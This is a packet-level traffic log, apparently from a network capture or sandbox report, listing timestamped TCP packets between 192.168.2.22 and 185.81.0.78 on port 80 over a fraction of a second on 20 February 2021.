Feb 20, 2021 09:48:09.107198000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107198954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107217073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107222080 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107235909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107245922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107255936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107269049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107286930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107299089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107310057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107325077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107347012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107347965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107362986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107374907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107384920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107397079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107419014 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107424021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107441902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107445002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107459068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107464075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107479095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107491970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107501030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107517004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107532978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107538939 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107551098 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107562065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107570887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107584953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107605934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107608080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107623100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107629061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107644081 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107651949 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107665062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107680082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107691050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107703924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107712984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107726097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107748985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107749939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107764959 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107770920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107786894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107794046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107808113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107820034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107827902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107844114 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107861042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107871056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107881069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107894897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107913017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107917070 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107933044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107939959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.107954025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107974052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.107985020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.108009100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.108030081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.108031988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.108051062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.108057022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.108069897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.108081102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.108100891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.108103037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.108119011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.108128071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.108138084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.108150959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.108171940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.108176947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.108191967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.108210087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.133734941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.133779049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.133800983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.133826017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.133852005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.133878946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.133903980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.133936882 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.133965969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.133991957 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.134018898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.134046078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.134073019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.134102106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.134115934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.134130001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.134145021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.134147882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.134150028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.134150982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.134157896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.134165049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.134180069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.134196043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.134207964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.134222984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.134233952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.134284019 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135454893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135485888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135510921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135524035 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135539055 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135545015 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135561943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135576010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135591030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135602951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135615110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135633945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135637999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135662079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135687113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135688066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135709047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135715961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135731936 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135745049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135757923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135777950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135783911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135808945 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135827065 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135835886 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135853052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135863066 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135875940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135891914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135900974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135916948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135927916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135945082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135953903 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.135973930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.135991096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.136007071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.136015892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.136035919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.136054039 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.136076927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.136956930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.136986017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137012005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137023926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137042046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137042046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137067080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137070894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137094975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137104034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137116909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137135983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137140036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137162924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137182951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137191057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137204885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137221098 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137236118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137248039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137275934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137276888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137305975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137306929 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137331009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137340069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137355089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137370110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137393951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137408972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137418032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137444973 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137471914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137480974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137499094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137502909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137525082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137526989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137552023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137552977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137574911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137581110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137598991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137614012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137624979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137644053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137651920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137670994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137692928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137698889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137717009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137727022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.137742996 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.137765884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140301943 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140330076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140357971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140371084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140386105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140388966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140408993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140419960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140433073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140450001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140460014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140476942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140486002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140506029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140527010 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140532017 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140558004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140569925 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140583992 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140599966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140610933 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140626907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140642881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140651941 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140671968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140690088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140698910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140713930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140727043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140737057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140754938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140779972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140780926 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140799046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140810013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140824080 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140836954 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140851974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140870094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.140880108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.140918970 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141139984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141174078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141202927 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141228914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141232967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141257048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141259909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141283989 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141285896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141309977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141314030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141338110 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141338110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141362906 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141366005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141397953 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141416073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141417027 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141449928 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141478062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141479969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141509056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141535997 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141544104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141558886 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141563892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141592026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141592026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141613007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141619921 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141647100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141669989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141680002 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141697884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141710043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141727924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141736984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141765118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141765118 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141788960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141793013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141812086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141834021 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141860962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141861916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141886950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141887903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141911030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141916037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141940117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141946077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141963005 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.141973972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.141995907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142005920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142023087 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142035961 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142051935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142062902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142082930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142091036 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142113924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142118931 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142141104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142146111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142169952 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142174006 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142198086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142203093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142222881 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142236948 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142250061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142267942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142282009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142293930 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142312050 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142319918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142340899 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142348051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142370939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142373085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142396927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142400980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142421007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142426968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142453909 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142461061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142481089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142491102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:09.142508984 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:09.142517090 CET	80	49165	185.81.0.78	192.168.2.22
